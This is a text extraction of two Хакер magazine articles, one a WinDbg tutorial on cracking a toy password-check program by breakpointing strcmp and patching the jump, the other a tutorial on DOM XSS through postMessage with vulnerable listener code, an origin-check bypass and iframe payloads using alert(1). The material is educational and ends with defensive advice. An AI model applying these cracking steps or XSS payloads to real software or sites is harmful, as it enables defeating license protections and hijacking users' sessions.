Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
13
Добавлен:
20.04.2024
Размер:
20.22 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ ОТЛАДЧИК ДЛЯ АНАЛИЗА 64-РАЗРЯДНЫХ ПРОГРАММ В WINDOWS

 

 

 

 

 

 

Крис Касперски

 

Юрий Язев

Известный российский

Широко известен под

хакер. Легенда ][, ex-

псевдонимом yurembo.

редактор ВЗЛОМа. Также

Программист, разработчик

известен под псевдонимами

видеоигр, независимый

мыщъх, nezumi (яп. ,

исследователь. Старый автор

мышь), n2k, elraton, souriz,

журнала «Хакер».

tikus, muss, farah, jardon,

yazevsoft@gmail.com

 

KPNC.

 

 

 

Помимо дизассемблирования, существует и другой способ исследования программ — отладка. Изначально под отладкой понималось пошаговое исполнение кода, также называемое трассировкой. Сегодня же программы распухли настолько, что трассировать их бессмысленно — мы моментально утонем в омуте вложенных процедур, так и не поняв, что они, собственно, делают. Отладчик не лучшее средство изучения алгоритма программы — с этим эффективнее справляется интерактивный дизассемблер (например, IDA).

Перед тобой уже во второй раз обновленная версия статьи «Знакомство с отладчиком» (первое обновление публиковалось в 2018 году в рамках цикла «Фундаментальные основы хакерства»). В прошлый раз текст Криса Касперски был переделан для соответствия новым версиям Windows и Visual Studio, а теперь обновлен с учетом отладки программ для 64-разрядной архитектуры. Читай также обновленную первую статью серии. Обе статьи доступны без платной подписки.

Цикл «Фундаментальные основы хакерства» с «апгрейдом» первых глав до x86-64 опубликован в виде книги, купить ее ты можешь на сайте издательства «Солон-пресс».

Способности отладчиков

Первым делом надо разобраться в перечне основных функциональных возможностей типовых отладчиков (без этого невозможно их осмысленное применение):

отслеживание обращений на запись, чтение и исполнение к заданной ячейке (региону) памяти, далее по тексту именуемое бряком (брейком);

отслеживание обращений на запись и чтение к портам ввода-вывода (уже неактуально для современных операционных систем, запрещающих пользовательским приложениям проделывать такие трюки, — это теперь прерогатива драйверов, а на уровне драйверов реализованы очень немногие защиты);

отслеживание загрузки DLL и вызова из них таких-то функций, включая системные компоненты (как мы увидим далее, это основное оружие современного взломщика);

отслеживание вызова программных и аппаратных прерываний (большей частью уже неактуально — не так много защит балуется с прерываниями);

отслеживание сообщений, посылаемых приложением окну;

и, разумеется, контекстный поиск в памяти.

Как именно это делает отладчик, пока знать необязательно, достаточно знать, что он это умеет, и все. Куда актуальнее вопрос, какой отладчик умеет это делать.

Герои прошлого

В прошлом в качестве отладчика хакеры использовали широко известный SoftICE. Это был действительно мощный инструмент, и даже по прошествии многих лет лучше него ничего не было изобретено. Неоспоримым его преимуществом была возможность отладки ядра Windows с помощью одного компьютера. Между тем, не без давления Microsoft, в 2006 году его разработка была прекращена. А поскольку SoftICE очень сильно зависел от операционной системы Windows, в более поздних ее версиях он просто не работает. Последней версией Windows, в которой можно пользоваться SoftICE, была

Windows XP SP 2. В SP 3 он уже не функционировал, а в Vista и Windows 7 и подавно.

SoftICE

Хакеры, конечно, приуныли, но не стали посыпать голову пеплом, а начали изобретать альтернативные отладчики. Последовала эпоха расцвета новых отладчиков. Но какая картина на этом поле сейчас? Нет ни одного нового хорошего отладчика! Передовым среди всех был коммерческий Syser китайских разработчиков. Ему пророчили светлое будущее, возможность заменить SoftICE, но где он сейчас? Может быть, пара копий сохранилась где-то на файловых свалках, но он давно не развивается.

Syser

Сейчас по большому счету у хакера есть выбор только из двух по-настоящему годных отладчиков: WinDbg и x64dbg. Последний годится лишь для исследования приложений пользовательского режима, тогда как с помощью WinDbg можно заниматься и ядерной отладкой Windows. Но в этом случае придется использовать два компьютера, объединенных проводом или по локальной сети.

Современный инструмент кодокопателя

Когда-то хакеры пренебрегали WinDbg, но со временем он вырос и стал действительно мощным и полезным инструментом исследования кода. Не стоит забывать, что именно он используется командой разработки Windows. Для него можно изготавливать расширения путем подключаемых DLL. Начиная с Windows XP, движок отладки включен непосредственно в операционную систему. Он состоит из двух DLL: dbgeng.dll и dbghelp.dll. Кроме непосредственно средств отладки, в число которых входит сам WinDbg, его движок используется в том числе «Доктором Ватсоном» (drwtsn32.exe).

Средство отладки для Windows состоит из четырех приложений, исполь-

зующих dbgeng.dll:

cdb и ntsd — отладчики пользовательского режима с консольным интерфейсом. Они различаются только одним: при запуске из существующего консольного окна ntsd открывает новое консольное окно, a cdb этого не делает;

kd — отладчик режима ядра с консольным интерфейсом;

WinDbg может использоваться как отладчик пользовательского режима либо режима ядра, но не одновременно. У WinDbg есть графический интерфейс.

Следовательно, WinDbg представляет собой только оболочку для отладки с помощью движка.

Вспомогательный файл dbghelp.dll используется внешними тулзами для исследования внутренностей Windows, например отладчиком OllyDbg, программой Process Explorer за авторством Марка Руссиновича и прочими.

У WinDbg есть две версии: классическая и UWP. Первая устанавливается вместе с набором тулз Debugging Tools for Windows. Этот набор содержит две версии WinDbg. Одна предназначена для отладки 32-разрядных приложений, другая — 64-разрядных. Версию UWP можно скачать из Windows Store, она имеет только 32-битную версию. Обе 32-разрядные версии абсолютно равноценны, не считая того, что в UWP продвинутый пользовательский интерфейс Windows 10. Кстати, весьма удобный при работе на большом экране.

Для наших экспериментов я буду применять UWP-версию. Разницы в их использовании практически нет, могут разве что немного различаться команды в пользовательском интерфейсе, именно надписи на элементах интерфейса, но не команды встроенного языка.

Способ 0. Бряк на оригинальный пароль

С помощью WinDbg загрузим ломаемый нами файл — passCompare1.exe — через пункт меню Launch Executable или Open Executable в классическом приложении. В дальнейшем я не буду приводить аналоги команд.

Файлы с примерами можно скачать с GitHub.

Сразу после открытия исполняемого файла WinDbg загрузит приложение, в окне Disassembly отладчика появятся дизассемблированные команды, а в окне Command отобразятся результаты их выполнения.

После создания окна приложения еще до вывода каких-либо данных выполнение тут же прерывается на инструкции int 3 — это программная точка останова. Часто новички считают, что выполнение программы начинается с функции main или WinMain. Этому их учат в школе, либо они сами черпают такие сведения из учебников по C/C++. Конечно, это неправда.

Прежде чем попасть в функцию main конкретного приложения, процессор зарывается в дебри системного кода загрузчика образов, выполняет горы инструкций инициализации приложения внутри Windows, подключения библиотек и прочего. Поэтому произошедший бряк не означает вход в main нашей программы. Если взглянуть в окошко дизассемблера, мы увидим, что прерывание произошло в системной функции LdrpDoDebuggerBreak модуля

ntdll.

Первым делом загрузим отладочную информацию для компонентов операционной системы. Для этого в командную строку введем

.symfix d:\debugSymbols

Эта команда определяет папку, указанную в параметре, куда отладчик при необходимости загрузит отладочные символы для подсистем Windows. Затем надо отправить команду для загрузки или обновления файлов:

.reload

После этого WinDbg загрузит нужные данные с серверов Microsoft.

Кроме того, можно воспользоваться уже имеющейся отладочной информацией, для этого существует команда .sympath+ <путь к директории>. Если файл с отладочными символами находится в одной папке с исполняемым файлом, он подхватится автоматически. Еще можно использовать файлы исходного кода, но в таком случае проще воспользоваться отладчиком, входящим в среду разработки.

Давай попробуем натравить отладчик на дебажную версию passCompare1 и при достижении первой точки останова поставим бряк на функцию main:

bp passCompare1!main

Теперь продолжим выполнение командой g. Когда отладчик достигнет поставленной точки останова (начало функции main), в окне дизассемблера увидим, что листинг разделен на сегменты, в заголовке которых находятся имена функций, в частности main.

В релизной версии исполняемого файла этого не будет. Если же мы поставим точку останова по адресу начала модуля и прибавим адрес точки входа, то мы попадем не в начало функции main, а в системный загрузчик — функцию mainCRTStartup, подготовленную компилятором.

Кроме Microsoft, мало кто предоставляет отладочные символы, не будем привыкать к легкой жизни, тем более WinDbg специально предназначен для отладки программ без отладочной информации и исходного кода. Будем применять его по назначению! Между тем, если приглядеться к окошку дизассемблера повнимательнее, можно заметить, что в отличие от дизассемблера dumpbin, который мы использовали в прошлой статье, WinDbg распознает имена системных функций, чем существенно упрощает анализ.

WinDbg распознает имена системных функций

Точки останова могут быть двух типов: программные и аппаратные. С первыми мы уже встречались. В программе их может быть любое количество. Для своей работы они модифицируют память исполняемого процесса, то есть в том месте, где должен стоять бряк, отладчик запоминает ассемблерную инструкцию и заменяет ее int 3. Из-за того что программная точка останова изменяет память, ее можно установить не везде. В этом заключается ее

основной недостаток. Главной командой для установки программной точки останова является bp. Для получения списка установленных точек служит команда bl, а для удаления — команда bc, параметром которой является индекс точки останова. Звездочка в качестве параметра удаляет все бряки. Команды be и bd, соответственно, включают и выключают брейк-пойнты.

Количество аппаратных точек останова, независимо от разрядности процессора, всегда четыре. Хотя в процессоре присутствуют восемь регистров отладки (DR-0 — DR-7), только первые четыре могут быть использованы для хранения адресов точек останова. Аппаратные бряки могут ставиться в любое место памяти процесса. Таким образом, они лишены недостатка программных бряков. Остальные регистры предназначены для хранения условий доступа — срабатывания точек останова, например чтение, запись, исполнение. Малое количество — основной недостаток аппаратных бряков. Для установки аппаратной точки останова используется команда ba с тремя параметрами: тип доступа, размер и адрес.

Итак, мы рассмотрели небольшой список команд внутреннего языка отладчика WinDbg. Наверняка ты обратил внимание на их запись. В языке отладчика присутствуют три вида команд:

встроенные команды служат для отладки процесса и записываются без лидирующего символа, к таким командам относятся g, bp, bd;

метакоманды управляют работой отладчика, перед ними ставится символ точки, например: .reload, .symfix, .cls;

команды-расширения, загружаемые из внешних DLL, имеют в начале символ восклицательного знака, например: !heap, !dh.

Поиск адреса

Давай попробуем наскоро найти защитный механизм и, не вникая в подробности его функционирования, напрочь отрубить защиту. Вспомним, по какому адресу расположен в памяти оригинальный пароль. Заглянем в дамп секции .rdata, где хранится пароль. Исходный пароль myGOODpassword находится по смещению 0x140002280. Попробуем вывести находящиеся по этому адресу в памяти данные:

dc 0x140002280

Существует большое количество команд для отображения содержимого памяти: da, db, dd и прочие. Мы использовали dc, потому что она показывает значения двойных слов и ASCII-символы. Что мы видим? Неинициализированные данные.

Раньше (до Windows Vista) кодокопателям было проще. Windows загружала образы в виртуальную память по определенному при компиляции адресу.

В этом легко убедиться: запустим приложение в

Windows XP, затем

при помощи того же SoftICE узнаем адреса секций

(команда mod -u)

и выпишем их. После перезагрузки системы и повторного запуска приложения увидим, что они останутся неизменными.

Начиная с Windows Vista, программы после перезапуска системы получают случайные адреса, а не те, что определены при компиляции. Поэтому нам придется самим искать секцию .rdata уже не на диске, а в памяти. Легко сказать, но сделать еще проще!

Найдем, по какому адресу расположен наш модуль в памяти. Для этого в отладчике введем lmf m passcompare1. Второй параметр — имя модуля, адрес которого надо определить. В результате на своем компе я получил:

start

end

module name

00007ff7`159b0000

00007ff7`159b8000

passCompare1 passCompare1.exe

Отсюда следует, что начало модуля находится по адресу 0x7ff7159b0000. После каждой перезагрузки системы модуль конкретного приложения проецируется в различные адреса. Теперь выведем карту памяти нашего модуля и получим сведения обо всех секциях PE-файла:

!dh passCompare1

Вывод команды довольно объемный. !dh — в некотором роде аналог команды map32 из SoftICE, при этом первая предоставляет больше сведений. Найдем в выводе описание целевой секции .rdata:

SECTION HEADER #2

.rdata

name

101C

virtual size

2000

virtual address

1200

size of raw data

1400

file pointer to raw data

0

file pointer to relocation table

0

file pointer to line numbers

0

number of relocations

0

number of line numbers

40000040

flags

 

Initialized Data

 

(no align specified)

 

Read Only

Здесь нас интересует четвертая строчка — виртуальный адрес. Следом можно найти, где в памяти располагается .rdata, для этого надо сложить начальный адрес модуля и виртуальный адрес секции. Посмотрим, что там находится:

dc 0x7ff7159b0000 + 2000

Уже теплее, читаемые символы. Пройдем глубже в секцию и распечатаем диапазон адресов:

dc 0x7ff7159b2000 0x7ff7159b2300

А вот и наш пароль по адресу 0x7ff7159b2280! Дамп памяти процесса:

00007ff7`159b2250

159b4040

00007ff7 159b40e0

 

 

00007ff7

@@.......

@......

 

 

 

 

00007ff7`159b2260

ffffffff ffffffff ffffffff

 

 

ffffffff

................

 

 

 

 

 

00007ff7`159b2270

65746e45

61702072

6f777373

003a6472

Enter

password:.

 

 

 

 

 

 

00007ff7`159b2280

4f47796d 6170444f 6f777373 000a6472

 

myGOODpassword..

 

 

 

 

 

00007ff7`159b2290

6e6f7257 61702067

6f777373

000a6472

Wrong

password..

 

 

 

 

 

 

00007ff7`159b22a0

73736150

64726f77

0a4b4f20 00000000

Password

OK.....

 

 

 

 

 

 

00007ff7`159b22b0

00000140

00000000

00000000

 

 

00000000

@...............

 

 

 

 

 

Найденный адрес

Есть контакт! Задумаемся еще раз. Чтобы проверить корректность введенного пользователем пароля, защита, очевидно, должна сравнить его с оригинальным. А раз так, установив точку останова на чтении памяти по адресу 0x7ff7159b2280, мы поймаем за хвост сравнивающий механизм. Сказано — сделано.

Поставим аппаратный бряк, он же бряк по доступу (break on access), так как при программном будет ошибка доступа к памяти, возникающая по причине попытки записи в секцию, доступную только для чтения, какой .rdata и является. А программному бряку надо модифицировать память.

ba r4 0x7ff7159b2280

Первый параметр — тип доступа: r — чтение; второй параметр — количество байтов, подвергаемых операции; последний параметр — адрес.

По команде g продолжим отладку и введем любой пришедший на ум пароль, например KPNC++. Отладчик незамедлительно «всплывет» в библиотечной функции сравнения строк strcmp:

00007ffb`5d375670 488b01

mov

rax, qword ptr [rcx]

00007ffb`5d375673 483b040a

cmp

rax, qword

ptr [rdx+rcx]

 

 

00007ffb`5d375677 75bf

jne

 

ucrtbase!strcmp+0x8 (7ffb5d375638)

 

 

00007ffb`5d375679 4e8d0c10

lea

r9, [rax+r10]

00007ffb`5d37567d 48f7d0

not

rax

В силу архитектурных особенностей процессоров Intel бряк срабатывает после инструкции, выполнившей «поползновение», то есть RIP указывают на следующую выполняемую команду. В нашем случае (выделенная строка) — jne ucrtbase!strcmp+0x8, а к памяти, стало быть, обратилась инструкция cmp rax, qword ptr [rdx+rcx]. А что находится в RAX? Поднимаем взгляд еще строкой выше — mov rax, qword ptr [rcx]. Можно предположить, что RCX содержит указатель на строку оригинального пароля (поскольку он вызвал всплытие отладчика), но не будем спешить с выводами, в сравнении еще присутствует указатель [rdx+rcx]. Куда указывает он? Проверить это в отладчике проще простого. Сначала проверим, куда указывает RCX:

0:000> dc rcx

00000093`bf5cfbd0 434e504b 000a2b2b 00000000 00000000

KPNC++..........

Оказывается, RCX указывает на введенный пользователем пароль! А куда указывает второй указатель?

0:000> dc [rdx+rcx]

00007ff7`159b2280 4f47796d 6170444f 6f777373 000a6472

myGOODpassword..

Здесь как раз притаился оригинальный пароль! Картина начинает приобретать очертания.

Теперь вопрос: а как это заломить? Вот, скажем, JNE можно поменять на JE. Или еще оригинальнее — заменить RCX [RDX+RCX]. Тогда оригинальный пароль будет сравниваться сам с собой!

Выйдем из текущей функции, для этого надо два раза нажать кнопку Step Out в отладчике. В результате мы окажемся в функции main, сразу после сравнения строк:

0007ff7`159b10b2 488d15c7110000

lea

 

rdx, [passCompare1!`string' (7ff7159b2280)]

 

00007ff7`159b10b9 488d4c2420

lea

 

rcx, [buff{[0]} (rsp+20h)]

 

 

00007ff7`159b10be e88c0d0000

call

 

passCompare1!strcmp (7ff7159b1e4f)

 

 

00007ff7`159b10c3 85c0

test

eax, eax

00007ff7`159b10c5 7458

je

 

passCompare1!main+0xaf (7ff7159b111f)

В первой строчке приведенного листинга в регистр RDX записывается указатель на эталонный пароль. Чтобы проверить это, выполни команду dc 7ff7159b2280. Во второй строчке в регистр RCX помещается указатель на содержимое строкового буфера, в который записывается введенный пользователем пароль. После вызова strcmp следует test, проверяющий на ноль регистр EAX. Знакомые места! Помнишь, мы посещали их дизассемблером? Далее следует JE, совершающий прыжок на основе предыдущего условия.

Алгоритм действий прежний — запоминаем адрес команды TEST для последующей замены ее на XOR или записываем последовательность байтов.

Погоди! Не стоит так спешить! Можно ли быть уверенным, что эти байтики по этим самым адресам будут находиться в исполняемом файле? В Windows XP и версиях до нее на это в подавляющем большинстве случаев можно было хотя бы надеяться, но проверка не была лишней. Хотя системный загрузчик размещал модули по заранее определенным адресам, существовали хитрые защитные механизмы, загружавшие один и тот же модуль по двум разным адресам одновременно. В Windows 10 такой трюк не прокатывает, винда видит, что это один и тот же модуль, и размещает его в памяти лишь единожды.

Тем не менее в Windows 10 мы даже не можем надеяться, что находящиеся по определенным адресам байты, найденные в памяти с помощью отладчика, будут по тем же адресам находиться в файле на диске. Когда программа выполняется, все ее секции проецируются в адресное пространство виртуальной памяти, которое кардинально отличается от начальной. В Vista и последующих системах в дело вступает механизм ASLR (Address Space Layout Randomization), который, используя MMU (Memory Management Unit), случайным образом изменяет расположение в адресном пространстве процесса важных структур данных. ASLR в некоторых случаях вполне успешно борется с переполнением буфера, возвратом в библиотеку и другими типами атак.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК РАБОТАЕТ ЛЕГКИЙ СПОСОБ ПОЛУЧИТЬ XSS

С ПОМОЩЬЮ POSTMESSAGE

Недавно я обнаружил новую для себя разновидность XSS-уязвимостей — DOM XSS с помощью Web Messaging. Перечитав множество страниц документации, я решил создать единый материал по эксплуатации XSS через эту технологию. Я опишу здесь наиболее распространенные недостатки безопасности и методы их эксплуатации.

ЧТО ТАКОЕ DOM?

W0lFreaK

Независимый исследователь веба https://t.me/pain_test wolfreak449@gmail.com

DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, который позволяет программам и скриптам получать доступ к содержимому HTML-, XHTML-, XML-документов, а также изменять их контент (содержимое, структуру, оформление). DOM-based-уязвимости возникают, когда веб-сайт содержит сценарий, который принимает контролируемое злоумышленником значение и передает его небезопасной функции, называемой sink. Один из видов DOM-based-уязвимостей — DOM-based XSS. Уязвимости этого типа возникают, когда JavaScript получает данные от пользователя и передает их в sink, обладающий возможностью динамичес-

кого исполнения кода, например eval(), document.write() или innerHTML.

КАК ЭКСПЛУАТИРУЮТСЯ DOM-BASED XSS?

Наиболее популярный источник DOM XSS — URL-страницы. Доступ к этому значению осуществляется с помощью JavaScript через объект window. location. Затем URL обрабатывается внутри существующего на странице легитимного скрипта. В этом случае атакующий может создать ссылку с вредоносной нагрузкой, чтобы затем отправить ее жертве. Когда жертва перейдет по ссылке, исходный скрипт на странице, использующий объект window. location, запросит адрес текущей страницы и исполнит нагрузку, которая содержится в URL. Вот простейший пример этой уязвимости.

<body>

<script>document.write(location.href);</script>

</body>

При получении такой страницы браузер автоматически выполнит скрипт и запишет в тело страницы (document.write) строку, взяв ее значение из location.href (полного адреса страницы). Однако пользователь контролирует значение location.href и может поместить в него произвольную строку. Поэтому для эксплуатации XSS-уязвимости достаточно сформировать следующую ссылку, и при ее открытии в браузере выполнится вредоносный скрипт.

http://website.com/index.html#<script>alert(1)</script>

МЕХАНИЗМЫ БЕЗОПАСНОСТИ КРОСС-ДОМЕННОГО ВЗАИМОДЕЙСТВИЯ

Представим, что у нас есть страница сайта, который мы разработали. Мы помещаем на нее элемент <iframe> и указываем в качестве его источника произвольный сайт.

Принципиальная схема iframe

Если бы не было механизмов безопасности, обмен данными между элементами родительской веб-страницы и веб-страницы, которая отображается в < iframe>, мог бы быть критически опасным для пользовательских данных. Любой скрипт, находящийся на родительской странице, мог бы получить доступ к любым данным, размещенным внутри <iframe>.

Давай рассмотрим на примере. Злоумышленник помещает на своей странице <iframe> с адресом интернет-банка, в котором пользователь был авторизован ранее. Затем каким-то образом заманивает жертву на свою страницу. В результате злоумышленник может получить доступ к любым пользовательским данным личного кабинета интернет-банка жертвы. Чтобы не допустить подобного, были созданы два механизма защиты:

1.Same Origin Policy (SOP), «политика одинакового источника», — предотвращает кросс-доменные атаки, блокируя чтение загружаемых ресурсов из другого источника. Источник идентифицируется по следующей тройке

параметров: схема, полное имя хоста и порт. Когда хотя бы один из параметров у источников не совпадает, обмен данными между ресурсами запрещается. Например, если страница по адресу http://example. com/index.html попробует отобразить данные из источника https:// example.com/, то это действие будет запрещено, так как у источников не совпадает протокол.

Same Origin Policy

2.Cross-Origin Resource Sharing. Ограничения политики одинаковых источников оказались слишком жесткими. Поэтому для более тонкой настройки доступа к ресурсам создали «механизм совместного использования ресурсов разными источниками» — CORS. Он регламентирует три категории сетевого взаимодействия:

запись из разных источников. Эта категория регламентирует переадресации, отправки форм и переходы по ссылкам. По умолчанию все эти действия разрешены;

вставка из разных источников. Эта категория регламентирует элементы, загружаемые посредством тегов <link>, <script>, <img>, <video>, < audio>, <iframe> и других. По умолчанию все они разрешены, однако работоспособность тега <iframe> может быть дополнительно ограничена с помощью заголовка X-Frame-Options;

считывание из разных источников. Эта категория регламентирует элементы, загружаемые через AJAX и fetch. По умолчанию эти возможности заблокированы.

Подробнее о CORS и SOP ты можешь прочитать, к примеру, в этих статьях на «Хабрахабре»: «CORS для чайников: история возникновения, как устроен и оптимальные методы работы» и «Политика общего происхождения и CORS: визуальное руководство».

WEB MESSAGING API

Window.postMessage() — это метод, позволяющий передавать данные между документами, которые загружены в разных окнах или фреймах, в том числе между документами, полученными с разных доменов. Если на сайте корректно настроены механизмы безопасности (SOP и CORS), использование postMessage будет единственным доступным способом передачи данных между документами на разных доменах. Запросы, созданные с помощью прочих методов (как, например, XMLHttpRequest или Fetch API), будут заблокированы в соответствии с SOP и CORS.

Поиск информации о технологии postMessages привел меня к официальной документации Mozilla. Обычно сценариям из разных источников раз- решен доступ друг к другу тогда и только тогда, когда они соответствуют Same Origin Policy (одинаковая схема, имя хоста и порт), включая сценарии внутри фрейма, которые обращаются к родителю фрейма. Window. postMessage() предоставляет контролируемый механизм для безопасного обхода этого ограничения. Также я нашел в документации способы обеспечения связи между родительской страницей и страницей внутри фрейма. В общем виде дочерний <iframe> должен быть подписан на событие «сообщение»:

window.addEventListener("message", (event) => {...}, false);

Здесь message — ожидаемое сообщение.

В таком случае родительская страница может передать дочернему фрейму сообщение с помощью такого метода:

postMessage(message, targetOrigin, transfer)

Здесь message — отправляемое сообщение, эти данные автоматически сериализуются для передачи в дочерний фрейм, а targetOrigin указывает источник родительского окна.

В качестве targetOrigin допускается использовать звездочку, которая указывает на то, что получить сообщение может кто угодно. Либо можно указать конкретный URI, который будет проверен внутри слушателя в дочернем фрейме. Если Origin страницы не совпадает с targetOrigin внутри этой функции, событие не будет отправлено. Этот механизм обеспечивает контроль над тем, куда отправляются сообщения. Например, если postMessage используется для отправки пароля, необходимо, чтобы этот аргумент соответствовал целевому URI. Это позволит предотвратить хищение пароля злоумышленником через недоверенный ресурс.

DOM-BASED XSS ЧЕРЕЗ WEB MESSAGING

Давай посмотрим, как можно использовать веб-сообщения в качестве источника для создания и эксплуатации DOM XSS на целевой странице. Если целевая страница обрабатывает входящие сообщения небезопасным образом (например, неверно проверяя источник входящих сообщений), то вызываемые слушателем события потенциально могут стать приемниками небезопасной нагрузки и источником XSS.

Например, злоумышленник может поместить на своей странице вредоносный <iframe> и использовать метод postMessage() для передачи данных с помощью веб-сообщения уязвимому слушателю событий. В дальнейшем слушатель передаст вредоносную нагрузку в приемник на дочерней странице.

Это значит, что веб-сообщения могут быть использованы в качестве источника нагрузки для любого из приемников дочерней веб-страницы. Результат эксплуатации уязвимости зависит от того, как целевой документ обрабатывает полученные сообщения.

Если целевая страница полностью доверяет отправителю, не проверяет данные, полученные от него, и без искажений передает их в приемник, то эта уязвимость позволит злоумышленнику совершить любые действия от лица пользователя в контексте целевого ресурса (скомпрометировать пользователя).

Давай рассмотрим разные варианты уязвимого кода.

Origin Verification отсутствует

Целевая страница легитимного сайта содержит следующий скрипт.

<script>

window.addEventListener('message', function(e){

document.getElementById('qwe').innerHTML = e.data;

})

</script>

В этом случае эксплуатация уязвимости возможна с помощью <iframe>, помещенного на сервере атакующего, примерно с таким содержимым:

<iframe src="http://target.com/" onload="this.contentWindow.

postMessage('<img src=1 onerror=alert`1`>','*')">

Как видишь, слушатель сообщений не проверяет источник, а метод postMessage указывает targetOrigin «звездочка». Процесс эксплуатации будет выглядеть так:

postMessage() в пейлоаде создаст сообщение, которое отправится странице в <iframe> после того, как загрузится содержимое <iframe>;

EventListener целевой страницы получит сообщение с атакующей страницы;

EventListener выполнит поиск элемента с ID qwe;

EventListener выполнит вставку полученного сообщения в найденный тег <div>;

в итоге в целевую страницу будет вставлен тег img, содержащий некорректный адрес источника. Это вызовет ошибку, а обработка этой ошибки исполнит произвольный код, указанный атакующим, то есть вызовет alert(1).

Origin verification

Представим, что целевая страница легитимного сайта содержит такой скрипт:

window.addEventListener('message', function(e) {

if (e.origin.indexOf('normal-website.com') > -1) {

eval(e.data);

}

});

В том случае, если слушатель проверяет Origin, могут найтись проблемы в реализации этих проверок. Например, проверку с помощью метода indexOf можно обойти, если сделать вредоносный скрипт на многоуровневом домене, содержащем в себе искомую подстроку. Например, таком:

<http://www.normal-website.com.attacker.com>

Аналогичным образом обходятся проверки, которые выполняются посредс-

твом методов startsWith(), endsWith() и других.

JSON Parse

Нередки случаи, когда слушатель может выполнить одно из нескольких заранее указанных действий, в зависимости от того, какое именно сообщение он получит при выполнении postMessage. Подразумевается, что дочерний фрейм сможет по-разному реагировать на различные сообщения, приходящие из родительского элемента. Эта вариативность действий будет описана в дочернем <iframe> подобным скриптом:

<script>

window.addEventListener('message', function(e) {

var iframe = document.createElement('iframe'), ACMEplayer = {

element: iframe}, d;

document.body.appendChild(iframe);

try {

d = JSON.parse(e.data);

} catch(e) {

return;

}

switch(d.type) {

case "img":

ACMEplayer.element.src = d.url;

break;

case "redirect":

window.location.replace(d.redirectUrl);

break;

}

}, false);

</script>

В данном случае в зависимости от сообщения, получаемого дочерним iframe, он может выполнить одно из двух действий:

1.Если в результате вызова postMessage в дочерний iframe передано сообщение, содержащее {"type" : "img", "url" : "https:// domain.com"}, дочерний iframe присвоит указанный URL свойству src элемента ACMEplayer отображаемой в нем страницы.

2.Если в результате вызова postMessage в дочерний iframe передано сообщение, содержащее {"type" : "redirect", "url" :

"https://domain.com"}, то дочернийiframe выполнит переход с текущей страницы на указанный URL.

Для эксплуатации уязвимости необходимо сформировать корректный JSONобъект, который будет передан в дочерний фрейм и правильно обработан внутренним элементом case. Пример вредоносной нагрузки:

<iframe src=https://victim.com/ onload='this.contentWindow.

postMessage("{"type":"img","url":"javascript:alert(1)"}","*")'>

В результате отправки такого сообщения у элемента ACMEplayer в src будет установлено значение, соответствующее URL из нашей вредоносной нагрузки. Поскольку второй аргумент указывает, что любой targetOrigin разрешен для postMessage, а обработчик событий не содержит какой-либо формы проверки источника, полезная нагрузка будет установлена и исполнена, когда жертва перейдет на эту страницу.

ВЫВОДЫ

Мы подробно разобрали уязвимости, которые возникают при неаккуратном обращении с Web Messaging API для организации передачи данных между родительской страницей и загружаемой внутри <iframe>. Вот несколько рекомендаций, которые позволят избежать подобных проблем на своем сайте:

проверяй оригинальность источника сообщения, чтобы предотвратить внедрение конструкций с недоверенных сайтов;

используй безопасные способы проверки подлинности оригинального источника сообщения;

• проверяй сообщения на наличие потенциально опасных содержаний

и команд перед их выполнением;

используй механизмы шифрования для защиты конфиденциальности сообщений во время передачи.

Ну а если ты пентестер, а не веб-дизайнер, то не забудь проверить эти техники, когда встретишь веб-сообщения.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

